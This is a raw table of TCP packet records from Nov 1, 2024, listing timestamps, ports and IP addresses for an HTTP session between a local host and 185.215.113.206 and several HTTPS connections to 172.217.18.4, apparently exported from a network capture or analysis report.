Nov 1, 2024 03:45:12.854130983 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.854144096 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.854145050 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.854156971 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.854157925 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.854173899 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.854183912 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.854187965 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.854214907 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.854242086 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.854911089 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.854924917 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.854938030 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.854960918 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.854994059 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.932842016 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.932904959 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.932921886 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.932929039 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.932952881 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.932976007 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.966897964 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.966948986 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.966962099 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.966975927 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.967008114 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.969476938 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.969527006 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.969584942 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.969597101 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.969638109 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.969716072 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.969767094 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.969779015 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.969791889 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.969825029 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.970189095 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.970225096 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.970263958 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.970297098 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.970309973 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.970351934 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.970381021 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.970402002 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.970607042 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.970649958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.970654964 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.970673084 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.970691919 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.970691919 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.970712900 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.970714092 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.970731020 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.970736027 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.970788956 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.971268892 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.971281052 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.971291065 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.971321106 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.971342087 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.971513987 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.971565008 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.971569061 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.971581936 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.971594095 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.971606016 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.971616983 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.971645117 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.972285986 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.972297907 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.972307920 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.972312927 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.972326040 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.972338915 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.972347975 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.972352028 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.972368956 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.972398996 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.973262072 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.973274946 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.973284006 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.973295927 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.973308086 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.973315954 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.973320007 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.973331928 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.973345041 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.973345041 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.973360062 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.973382950 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.974248886 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.974261999 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.974272013 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.974282980 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.974294901 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.974306107 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.974313021 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.974317074 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.974327087 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.974329948 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.974342108 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.974348068 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.974379063 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.974400997 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.975167036 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.975179911 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.975192070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.975203991 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.975213051 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.975217104 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.975224018 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.975229025 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.975233078 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.975235939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.975306988 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.976025105 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.976037979 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.976047993 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.976061106 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.976073027 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.976075888 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.976084948 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.976092100 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.976094961 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.976133108 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:13.054531097 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:13.054620028 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:13.054630995 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:13.054652929 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:13.054682016 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:13.054740906 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:13.054945946 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:13.088644028 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:13.088731050 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:13.088742971 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:13.088757992 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:13.088794947 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:13.091382027 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:13.091454983 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:13.091465950 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:13.091478109 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:13.091517925 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:13.091660976 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:13.091717005 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:13.091810942 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:13.091821909 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:13.091864109 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:13.092016935 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:13.092030048 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:13.092072010 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:15.641272068 CET	49734	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:15.641344070 CET	443	49734	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:15.641418934 CET	49734	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:15.641621113 CET	49734	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:15.641632080 CET	443	49734	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:15.737545013 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:15.737647057 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:15.951719046 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:15.951757908 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:15.951831102 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:15.952047110 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:15.952061892 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:16.032193899 CET	49738	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:16.032203913 CET	443	49738	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:16.032299042 CET	49738	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:16.032577038 CET	49738	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:16.032587051 CET	443	49738	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:16.135565042 CET	49739	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:16.135605097 CET	443	49739	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:16.135696888 CET	49739	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:16.136037111 CET	49739	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:16.136054039 CET	443	49739	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:16.563873053 CET	443	49734	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:16.564344883 CET	49734	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:16.564363956 CET	443	49734	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:16.565351009 CET	443	49734	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:16.565406084 CET	49734	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:16.566660881 CET	49734	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:16.566728115 CET	443	49734	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:16.566911936 CET	49734	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:16.566919088 CET	443	49734	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:16.615206003 CET	49734	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:16.799772978 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:16.800160885 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:16.800173998 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:16.801177979 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:16.801255941 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:16.801532984 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:16.801589966 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:16.801644087 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:16.847341061 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:16.860150099 CET	443	49734	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:16.860196114 CET	443	49734	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:16.860224009 CET	443	49734	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:16.860402107 CET	49734	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:16.860419035 CET	443	49734	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:16.860652924 CET	49734	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:16.860658884 CET	443	49734	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:16.911905050 CET	49734	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:16.911911964 CET	443	49734	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:16.912183046 CET	49734	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:16.912221909 CET	443	49734	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:16.912350893 CET	443	49734	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:16.912399054 CET	49734	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:16.912410975 CET	49734	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:16.918970108 CET	443	49738	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:16.919234037 CET	49738	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:16.919246912 CET	443	49738	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:16.920346022 CET	443	49738	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:16.920406103 CET	49738	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:16.920808077 CET	49738	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:16.920875072 CET	443	49738	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:16.920974970 CET	49738	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:16.920984030 CET	443	49738	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:16.958798885 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:16.958812952 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:16.992712021 CET	443	49739	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:16.992918015 CET	49739	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:16.992928028 CET	443	49739	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:16.993932962 CET	443	49739	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:16.994054079 CET	49739	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:16.994317055 CET	49739	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:16.994378090 CET	443	49739	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.036943913 CET	49739	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.036956072 CET	443	49739	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.083636045 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.083686113 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.083688021 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.083698034 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.083755016 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.083789110 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.083796978 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.083848953 CET	49739	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.083848953 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.084203005 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.092282057 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.092374086 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.092381954 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.127334118 CET	443	49738	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.127389908 CET	49738	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.161967039 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.161978006 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.200918913 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.200949907 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.201174974 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.201186895 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.201592922 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.204454899 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.209778070 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.209806919 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.209875107 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.209883928 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.209928989 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.210087061 CET	443	49738	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.217365980 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.242748022 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.242779016 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.242814064 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.242819071 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.242826939 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.242919922 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.242927074 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.242993116 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.243654013 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.317881107 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.317920923 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.317955971 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.318064928 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.318074942 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.321515083 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.321626902 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.321635008 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.326276064 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.326391935 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.326397896 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.335531950 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.336035967 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.336041927 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.343420029 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.343523979 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.343538046 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.344578028 CET	443	49738	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.344643116 CET	49738	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.345376015 CET	49738	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.345392942 CET	443	49738	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.352366924 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.352541924 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.352556944 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.377300978 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.377494097 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.377506971 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.435087919 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.435132027 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.435152054 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.435164928 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.435338974 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.436232090 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.441477060 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.441507101 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.441545010 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.441554070 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.441708088 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.443455935 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.452533960 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.452572107 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.452610970 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.452617884 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.452691078 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.460205078 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.469559908 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.469608068 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.469685078 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.469696999 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.470024109 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.494465113 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.552438974 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.552479029 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.552495003 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.552516937 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.552845001 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.555610895 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.560655117 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.560698986 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.560704947 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.560744047 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.560786963 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.560791969 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.569613934 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.569662094 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.569679976 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.569686890 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.569730043 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.577280045 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.586925983 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.586952925 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.586971998 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.586978912 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.587279081 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.600626945 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.611741066 CET	443	49737	172.217.18.4	192.168.2.4
